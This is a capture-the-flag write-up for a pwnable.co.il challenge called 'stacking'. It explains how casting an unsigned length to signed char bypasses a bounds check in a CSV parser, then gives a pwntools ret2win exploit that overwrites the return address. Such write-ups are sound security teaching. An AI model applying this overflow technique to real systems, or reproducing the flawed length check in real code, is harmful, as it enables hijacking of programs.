pwnable.co.il - stacking
Challenge description:
CSV is the best way to store data. Wanna prove me wrong?
- Note: A CSV (Comma-Separated Values) is a format of values that are typically stored in plain text, where each value is separated by a comma. Each line in a CSV file usually represents a row, and the values in each row represent fields or columns. This format is widely used for data exchange, such as exporting data from spreadsheets, databases, or for simple data storage, due to its simplicity and readability. more info
Since the challenge is called “stacking,” I assumed it would be stack-based.
To investigate further, I opened the provided ELF file in my gef
debugger.
Here, you can see all the static function symbols provided by the ELF file:
Among the functions there’s an interesting one called win
which might be our target in this challenge,
but now let’s dig into the main
function.
To make it easier, I’ll use hex-rays decompiler to convert the code into C:
int __fastcall main(int argc, const char **argv, const char **envp) {
void *csv_str; // rsi
init_buffering(argc, argv, envp);
puts("Welcome to my data parser!");
puts("Please enter your comma-separated data: ");
csv_str = malloc(0x100uLL); // allocate 256 bytes for `csv_str`
read(0, csv_str, 0x100uLL);
parse_data(csv_str); // interesting function
return 0;
}
Everything here looks fine, and there’s no obvious vulnerability in this code.
However, we can see another interesting function that uses in that code called parse_data
.
So let’s dig into it to search for vulnerabilities!
Again, I’ll use hex-rays decompiler to convert the code into C:
size_t __fastcall parse_data(const char *csv_str) {
size_t tmp_ctr; // rbx
size_t result; // rax
char buffer[23]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int8 i; // [rsp+27h] [rbp-19h]
int start_of_data; // [rsp+28h] [rbp-18h]
int ctr; // [rsp+2Ch] [rbp-14h]
ctr = -1; // counter of the csv string current char
start_of_data = 0;
do
{
memset(buffer, 0, 16);
for ( i = 0; csv_str[++ctr] != ','; ++i ) // read data from the csv string until the next comma
{
if ( !csv_str[ctr] )
{
--i; // comma dont count as part of the data
break;
}
}
if ( (char)i > 16 ) // max data length is 16 (Note: Why it uses (char) casting?)
{
puts("Too big data");
exit(1);
}
memcpy(buffer, &csv_str[start_of_data], i); //copy data from `csv_str` into `buffer` in `i` length size
start_of_data += i + 1; // add current data size plus one char (the comma) to set the start of next data string
printf("Length: %d\n", i);
printf("Data :%s\n", buffer);
tmp_ctr = ctr;
result = strlen(csv_str);
} while ( tmp_ctr < result ); // run until all the csv string is parsed
return result;
}
This function processes a CSV string, It extracts and processes each value between commas. For each value, it checks if its length exceeds 16 characters and if it does it prints an error message and exits.
Then it stores each value in a buffer s
, prints the length of the value and also prints the value itself.
The function continues parsing until all values in the CSV string are processed.
Finally, it returns the total length of the input string.
The vuln - Casting unsigned __int8
to char
if ( (char)i > 16 ) {
puts("Too big data");
exit(1);
}
Here, i
is declared as unsigned __int8
meaning it can hold values from 0
to 255
.
However, casting it to char changes its interpretation to signed, where it can hold values from -128
to 127
.
As a result, when i
is greater than 127
, the cast causes it to wrap around into negative values.
This bypasses the if if((char)i > 16){...}
check because a negative value will always fail this condition,
even though the actual value of i
(in its original unsigned __int8
form) may still exceed 16
.
This vulnerability allows us to provide CSV data with values longer than 16 characters, effectively overwriting the return address of the parse_data
function stored on the stack.
Using this, we can redirect the program to the win function.
Exploit
To exploit this vuln we create a payload that:
- Bypasses the length check using the signed/unsigned casting vuln.
- Overflows the
buffer
to overwrite the ret address of theparse_data
function. - Redirects the execution to the
win
function.- Note: in some cases the stack may be misaligned, causing issues when returning to a function like win.
This happens because the stack pointer is not aligned to a 16-byte boundary, which is required by the x86-64 System V ABI.
To fix this, we use a
ret-gadget
first, which will realign the stack to the correct boundary.
- Note: in some cases the stack may be misaligned, causing issues when returning to a function like win.
This happens because the stack pointer is not aligned to a 16-byte boundary, which is required by the x86-64 System V ABI.
To fix this, we use a
from pwn import *
# Connect to remote server
conn = remote('pwnable.co.il', 9009)
# Functions symbols & Gadgets
ret = p64(0x0000000000401479)
win = p64(0x00000000004012e5)
# Create paylod
padding = b'\x00' * 56
paylod = padding + ret + win
# Sending paylod to remote server
conn.sendline(paylod)
conn.interactive()